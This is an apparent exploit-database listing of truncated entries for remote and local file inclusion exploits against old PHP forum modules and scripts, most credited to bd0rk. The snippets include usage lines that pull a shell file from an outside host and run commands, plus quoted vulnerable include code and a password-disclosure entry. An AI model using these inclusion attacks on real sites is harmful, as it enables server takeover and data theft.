mxbb-rfi.txt

!/usr/bin/php -q -d shortopentag=on cmd: a shell command ls -la Options: -pport: specify a port other than 80 -Pip:port: specify a proxy Example: php '.$argv0.' localhost http://www.shellsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt:...

mxBB Module FAQ & RULES 2.0.0 Remote File Inclusion Exploit

Exploit for unknown platform in category web applications =========================================================== mxBB Module FAQ & RULES 2.0.0 Remote File Inclusion Exploit =========================================================== !/usr/bin/php -q -d shortopentag=on cmd: a shell command ls...

Mx Module Smartor Album FAP 2.0 RC 1 - Remote File Inclusion

mxBB Module MX Smartor FAP 2.0 RC1 Remote File Inclusion Vulnerability Class: Remote Vendor: http://www.mx-system.com/modules/mxpafiledb/dload.php?action=download&fileid=364 Founder: bd0rk Contact: bd0rkathackermail.com Vulnerable Code in /admin/adminalbumotf.php...

CyBoards PHP Lite Default_Header.PHP远程文件包含漏洞

CyBoards PHP Lite是一款基于PHP的WEB应用程序。 CyBoards PHP Lite不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'DefaultHeader.PHP'脚本对用户提交的WEB参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Cyboards PHP Lite 1.21 目前没有解决方案提供： http://www.gold-sonata.com/index.phtml?content=script/forums&menu=script Coded by bd0rk || SOH-Cr...

mxBB Module MX Shotcast 1.0 RC2 (getinfo1.php) RFI Exploit

No description provided by source. !/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code: includeonce$mxrootpath . 'common.'.$phpEx;...

mxBB Module MX Shotcast 1.0 RC2 - 'getinfo1.php' Remote File Inclusion

!/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code: includeonce$mxrootpath . 'common.'.$phpEx; Vendor:...

PHP-Generics 1.0.0 beta Multiple Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ====================================================================== PHP-Generics 1.0.0 beta Multiple Remote File Inclusion Vulnerabilities ======================================================================...

Mutant 0.9.2 mutant_functions.php Remote File Inclusion Exploit

Exploit for unknown platform in category web applications =============================================================== Mutant 0.9.2 mutantfunctions.php Remote File Inclusion Exploit =============================================================== phpBB mutant 0.9.2 phpbbrootpath Remote File...

phpBB MOD Forum picture and META tags 1.7 - Remote File Inclusion

Exploitname: phpBB Module Forum picture and META tags 1.7 File Include Vulnerability Vendor: http://www.rfnnet.nl/downloads/phpbb/MODForumpictureandMETAtags.zip Founder: bd0rk Contact: bd0rkathackermail.com Greetings: str0ke, TheJT, Lu7k, CodeR Vulnerable in MODforumfieldsparse.php:...

pragmaMX Module Landkarten 2.1 (Windows) - Local File Inclusion

pragmaMX Module Landkarten 2.1 Windows - Local File Inclusion !Perl pragmaMX Landkartenmodule 2.1 Local File Inclusion Exploit Vendor: http://www.pragmamx.org/Downloads-op-getit-lid-599-noJpC-.html Vulnerable Code: requireonce"modules/$modulename/inc/conf.php"; Coded by bd0rk || SOH-Crew Greetz:...

PostNuke Module phgstats 0.5 - 'phgdir' Remote File Inclusion

PostNuke Module phgstats 0.5 phgdir Remote File Include Exploit Vendor: http://kent.dl.sourceforge.net/sourceforge/phgstats/phgstats0.5.zip Vulnerable Code: includeonce$phgdir . 'settings/config.inc.php'; Coded by bd0rk || SOH-Crew Usage: expl.pl target cmd shell shell variable Greetings: str0ke,...

PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit

Exploit for unknown platform in category web applications ================================================================= PostNuke Module phgstats 0.5 phgdir Remote File Include Exploit ================================================================= PostNuke Module phgstats 0.5 phgdir Remote...

phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit

No description provided by source. !/usr/bin/perl phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, Lu7k, Maik Vulnerable Code: includeonce$phpbbrootpath...

phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit

Exploit for unknown platform in category web applications ============================================================== phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit ============================================================== !/usr/bin/perl phpBB Module NoMoKeTos Rules 0.0.1...

phpBB Module NoMoKeTos Rules 0.0.1 - Remote File Inclusion

!/usr/bin/perl phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, Lu7k, Maik Vulnerable Code: includeonce$phpbbrootpath . 'includes/functionsadmin.'.$phpEx; vendor:...

VisoHotlink 1.01 - functions.visohotlink.php Remote File Inclusion

VisoHotlink 1.01 - functions.visohotlink.php Remote File Inclusion !/usr/bin/perl VisoHotlink 1.0 Remote File Include Exploit Download: http://www.easy-script.com/compt.php?id=3312 Vulnerable Code: requireonce $mosConfigabsolutepath . '/includes/mosGetParam.php' ; Coded by bd0rk || SOH-Crew Usage...

VisoHotlink 1.01 functions.visohotlink.php Remote File Include Exploit

Exploit for unknown platform in category web applications ====================================================================== VisoHotlink 1.01 functions.visohotlink.php Remote File Include Exploit ====================================================================== !/usr/bin/perl VisoHotlink...

AllMyVisitors 0.4.0 (index.php) Remote File Inclusion Vulnerability

No description provided by source. AllMyVisitors 0.4.0 File Inclusion Vulnerability Affected Software: AllMyVisitors 0.4.0 Download: http://www.php-resource.net//modules/AllMyLinks//action/gotolink.php?AMLlinkid=11 Vulnerable Code in index.php Bugfounder: bd0rk +Exploit:...

AllMyVisitors 0.4.0 - index.php Remote File Inclusion

AllMyVisitors 0.4.0 - index.php Remote File Inclusion AllMyVisitors 0.4.0 File Inclusion Vulnerability Affected Software: AllMyVisitors 0.4.0 Download: http://www.php-resource.net//modules/AllMyLinks//action/gotolink.php?AMLlinkid=11 Vulnerable Code in index.php Bugfounder: bd0rk +Exploit:...

WWWBoard 2.0 - passwd.txt Remote Password Disclosure

WWWBoard 2.0 - passwd.txt Remote Password Disclosure WWWBoard 2.0 Alpha 2 passwd.txt Password Disclosure Vulnerability Affected Software: WWWBoard 2.0 Alpha Download: http://www.scriptarchive.com/wwwboard.html Bugfounder: bd0rk Contact: bd0rkathackermail.com Greetz: str0ke, Döner, TheJT, x0r32...